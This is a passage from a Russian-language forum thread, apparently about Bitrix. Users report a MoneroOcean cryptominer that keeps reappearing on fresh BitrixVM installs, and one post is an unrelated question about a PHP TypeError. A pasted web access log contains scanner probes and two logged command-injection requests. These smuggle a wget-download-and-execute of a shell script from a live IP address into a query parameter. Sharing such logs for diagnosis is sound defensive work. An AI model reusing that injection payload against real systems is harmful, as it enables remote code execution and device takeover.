Форум

[QUOTE] написал:
А мне интересно, а хостер какой?[/QUOTE]
Таймвеб

[QUOTE] написал:
Образ был скачан с этой страницы или как?[/QUOTE]
Да, скачивался оттуда. У хостера тоже была, но помоему предыдущей версии, поэтому качал с оф.сайта.

[QUOTE] написал:
Скачать образ, распаковать, проверить обыкновенный антивирусом.[/QUOTE]
Спасибо, попробую для теста проверить.

[QUOTE] написал:
Стандартный антивирус на сайтах Битрикс включен?[/QUOTE]
Да, там все галочки включены и проверки пройдены.

[QUOTE] написал:
1. Вирус сидит в образе изначально.2. Вирус переползает из Вашего компьютера на сервер во время сеанса связи. Технически это непонятно, если используется консоль на сайте хостера, но может связь все равно выдается через ssh?3. Вирус ползет от хостера[/QUOTE]
1. Возможно.
2. Не возможно, поскольку я не цепляюсь туда пока не будет проблемы и я не увижу нагрузку на ЦП в личном кабинете хостера. Только тогда я подключаюсь через встроенную консоль в ЛК, а не через программы на ПК. Так же для теста это делал с разных ПК, которых в разных сетях и геолокациях.
3. Может, но кто признается.

[QUOTE] написал:
Вы не учитываете тот случай, когда вирус может находится в программах вашего компьютера, например, файловый менеджер и так далее.[/QUOTE]
Еще раз.
Получил образ оф. BitrixVM, Арендовал хост, Развернул полученный образ без каких-либо изменений в конфигурацию. На сайт не заходили, На хостинг не заходили, На сервер не заходили.
Залился майнер. Почистил через консоль на хостинге, никаких файловых менеджеров winscp, ssh и прочего. Вышел. Прошла неделя майнер снова там.

[QUOTE] написал:
Уязвимость у вас, а не в сборке.[/QUOTE]
Тут еще минимум 3 человека кто написал о такой же проблеме с майнером.
А если учесть что вся установка образа BitrixVM заключалась в Далее-Далее-Далее-Готово без каких-либо изменений с моей стороны, то довольно странно.

Роман Евсеев, Спасибо, не готов.

Мне просто нужно понять, я же правильно понимаю что уязвимость в сборке БитриксВМ? Чистая установка "с нуля" образа и через день заливается майнер и запускается под пользователем bitrix на сервере.

[QUOTE] написал:
Что открывается по ip-адресу? [/QUOTE]
403-я на 80/443 портах

[QUOTE] написал:
Где у вас лежит сайт - в www или ext_www?[/QUOTE]
В ext_www. Это готовая виртуалка BitrixVM, никакие изменения не вносились. Скачали образ, развенули, работаем.

[QUOTE] написал:
В директории с сайтом нет установочного скрипта?[/QUOTE]
Не заметил

В логах access за час до нагрузки на проц светилось вот такое:
[CODE]"GET /actuator/gateway/routes HTTP/1.0" 404 284 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
"GET / HTTP/1.0" 403 264 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/592.40 (KHTML, like Gecko) Chrome/58.0.5 Safari/537.36"
"GET /robots.txt HTTP/1.0" 404 270 "-" "Go-http-client/1.1"
"GET /sitemap.xml HTTP/1.0" 404 271 "-" "Go-http-client/1.1"
"GET / HTTP/1.0" 403 264 "-" "-"
"GET / HTTP/1.0" 403 264 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46"
"GET / HTTP/1.0" 403 264 "-" "-"
"GET / HTTP/1.0" 403 264 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
"GET /.env HTTP/1.0" 404 265 "-" "python-httpx/0.27.0"
"POST / HTTP/1.0" 404 261 "-" "python-httpx/0.27.0"
"GET /ip HTTP/1.0" 404 261 "-" "Go-http-client/1.1"
"OPTIONS / HTTP/1.0" 200 - "-" "-"
"GET / HTTP/1.0" 403 265 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
"GET / HTTP/1.0" 403 265 "-" "Mozilla/5.0 (X11; Linux x86_64) Chrome/98.0.4758.132 Safari/537.36"
"GET /webui/ HTTP/1.0" 404 267 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36"
"GET / HTTP/1.0" 403 265 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
"GET /geoserver/web/ HTTP/1.0" 404 275 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36"
"GET / HTTP/1.0" 403 264 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46"
"GET / HTTP/1.0" 403 265 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36"
"GET / HTTP/1.0" 403 264 "-" "-"
"GET / HTTP/1.0" 403 264 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
"GET / HTTP/1.0" 403 264 "-" "-"
"GET / HTTP/1.0" 403 265 "-" "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)"
"GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F94.156.8.244%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B%20.%2Ftenda.sh) HTTP/1.0" 404 287 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246"
"GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F94.156.8.244%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B%20.%2Ftenda.sh) HTTP/1.0" 404 287 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246"
"GET / HTTP/1.0" 403 264 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46"
"GET /dns-query?dns=q80BAAABAAAAAAAAA3d3dwdleGFtcGxlA2NvbQAAAQAB HTTP/1.0" 404 270 "-" "Go-http-client/1.1"
"POST /dns-query HTTP/1.0" 404 270 "-" "Go-http-client/1.1"
"GET /dns-query?name=example.com&type=A HTTP/1.0" 404 270 "-" "Go-http-client/1.1"
"GET /dns-query?dns=q80BAAABAAAAAAAAA3d3dwdleGFtcGxlA2NvbQAAAQAB HTTP/1.0" 404 270 "-" "Go-http-client/1.1"
"POST /dns-query HTTP/1.0" 404 270 "-" "Go-http-client/1.1"
[/CODE]

В общем MoneroOcean заливается раз в неделю +/- 1-2 дня. Видимо фикса ждать не скоро.

[QUOTE] написал:
А значит через установленный сайт. Дыра есть в битрикс.Надо писать в поддержку.[/QUOTE]
Обращался, там рекомендуют нанять грамотного администратора.

Аналогично с майнером MoneroOcean. 15 числа залился в /tmp/.tmp убил процессы, почистил. Сегодня опять нагрузка, проверяю, снова MoneroOcean.
Кто как решил проблему? Фиксы будут в ближайшее время?

Приветствую, камрады!
Аналогичная ошибка при переключении версии php.
[CODE][TypeError]
call_user_func_array(): Argument #1 ($callback) must be a valid callback, non-static method CSiteCorporate::ShowPanel() cannot be called statically (0)
/home/c/cv61149/public_html/bitrix/modules/main/classes/gene­ral/module.php:480
#0: ExecuteModuleEventEx(array)
 /home/c/cv61149/public_html/bitrix/modules/main/include.php:452
#1: require_once(string)
 /home/c/cv61149/public_html/bitrix/modules/main/include/prol­og_admin_before.php:34
#2: require_once(string)
 /home/c/cv61149/public_html/bitrix/modules/main/interface/de­sktop.php:2
#3: require(string)
 /home/c/cv61149/public_html/bitrix/admin/index.php:2
[/CODE]
Я открыл general/module.php:480 и там на этой отметке стоит строка (выделил <<<<<<).

[CODE] if(is_array($arEvent["TO_METHOD_ARG"]) && count($arEvent["TO_METHOD_ARG"]))
$args = array_merge($arEvent["TO_METHOD_ARG"], $arParams);
else
$args = $arParams;
class_exists($arEvent["TO_CLASS"]);
return call_user_func_array(array($arEvent["TO_CLASS"], $arEvent["TO_METHOD"]), $args); <<<<<<<<<<
}
else[/CODE]
И как я понял надо поменять на что-то первый аргумент, а именно $arEvent, но меня смущают сомнения, потому что этот аргумент много где используется, в том числе и выше по тексту кода.
Мне только на этой строчке надо как-то его изменить или выше по тексту тоже?